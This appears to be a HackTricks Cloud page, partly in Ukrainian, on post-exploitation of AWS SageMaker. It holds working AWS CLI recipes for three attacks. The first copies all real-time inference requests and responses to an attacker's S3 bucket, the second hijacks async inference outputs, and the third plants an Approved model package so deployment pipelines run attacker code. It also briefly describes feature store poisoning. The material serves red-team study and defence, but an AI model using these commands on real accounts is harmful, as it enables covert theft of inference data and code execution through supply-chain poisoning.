AWS - SageMaker Post-Exploitation
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Зловживання керуванням endpoint SageMaker для увімкнення повного захоплення запитів/відповідей у контрольований атакуючим S3 bucket без втручання в model або container. Використовує zero/low‑downtime rolling update і потребує лише дозволів на управління endpoint.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(or use an existing bucket in the same account) - Optional (if using SSE‑KMS):
kms:Encrypton the chosen CMK - Target: An existing InService real‑time endpoint in the same account/region
Steps
- Знайдіть InService endpoint і зберіть поточні production variants
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
Підготуйте S3-пункт призначення attacker для збереження захоплень.
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Створіть новий EndpointConfig, який зберігає ті самі варіанти, але вмикає DataCapture для attacker bucket
Примітка: Використовуйте явні типи вмісту, які відповідають валідації CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Застосуйте нову конфігурацію з rolling update (мінімальний/відсутній простій)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Згенеруйте принаймні один виклик інференсу (необов'язково, якщо є живий трафік)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Перевірте захоплені файли в attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Вплив
- Повна ексфільтрація real‑time inference request і response payloads (та метаданих) з цільового endpoint до S3 bucket, контрольованого зловмисником.
- Без змін model/container image і лише endpoint‑level зміни, що дозволяє прихований шлях крадіжки даних з мінімальними операційними перебоями.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Зловживання управлінням endpoint для перенаправлення вихідних даних асинхронного inference до S3 bucket, контрольованого зловмисником, шляхом клонування поточного EndpointConfig і встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це ексфільтрує model predictions (та будь‑які перетворені вхідні дані, включені контейнером) без модифікації model/container.
Вимоги
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Можливість запису в attacker S3 bucket (через model execution role або через permissive bucket policy)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
Steps
- Gather current ProductionVariants from the target endpoint
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Створіть attacker bucket (переконайтеся, що model execution role може PutObject до нього)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Клонувати EndpointConfig та hijack AsyncInference outputs у attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Запустіть async invocation і перевірте, що objects потрапляють в attacker S3
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Вплив
- Перенаправляє результати асинхронного inference (та тіла помилок) до S3 під контролем атакуючого, що дозволяє covert exfiltration прогнозів та потенційно конфіденційних вхідних/вихідних даних (pre/post-processed), які генерує контейнер, без зміни коду чи образу моделі і з мінімальним/без простою.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Якщо атакуючий може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на контейнерний образ під контролем атакуючого, і одразу позначити її як Approved. Багато CI/CD pipeline автоматично деплоять Approved версії моделей на endpoints або training jobs, що призводить до виконання коду атакуючого під ролями виконання сервісу. Експозиція між акаунтами може посилюватися через надмірно дозволяючу ModelPackageGroup resource policy.
Вимоги
- IAM (мінімум для poison існуючої групи):
sagemaker:CreateModelPackageна цільовому ModelPackageGroup - Optional (щоб створити групу, якщо її не існує):
sagemaker:CreateModelPackageGroup - S3: доступ на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем атакуючого)
- Target: Model Package Group, за якою downstream автоматизація відслідковує Approved версії
Кроки
- Встановіть регіон та створіть/знайдіть цільовий Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Підготуйте тестові дані моделі в S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Зареєструвати шкідливу (тут нешкідливу) Approved model package version, яка посилається на публічний AWS DLC image
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Перевірте, що нова версія зі статусом Approved існує
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Наслідки
- Отруїти Model Registry Approved-версією, яка посилається на код, контрольований атакуючим. Pipelines, які автоматично розгортають Approved models, можуть витягнути та запустити образ атакуючого, що призведе до виконання коду під правами endpoint/training roles.
- При наявності надмірно дозволяючої політики ресурсу ModelPackageGroup (PutModelPackageGroupPolicy) це зловживання може бути ініційоване cross-account.
Feature store poisoning
Зловживати sagemaker:PutRecord на Feature Group з увімкненим OnlineStore, щоб перезаписати актуальні значення ознак, які споживаються під час online inference. У поєднанні з sagemaker:GetRecord, зловмисник може прочитати чутливі ознаки. Для цього не потрібен доступ до models або endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud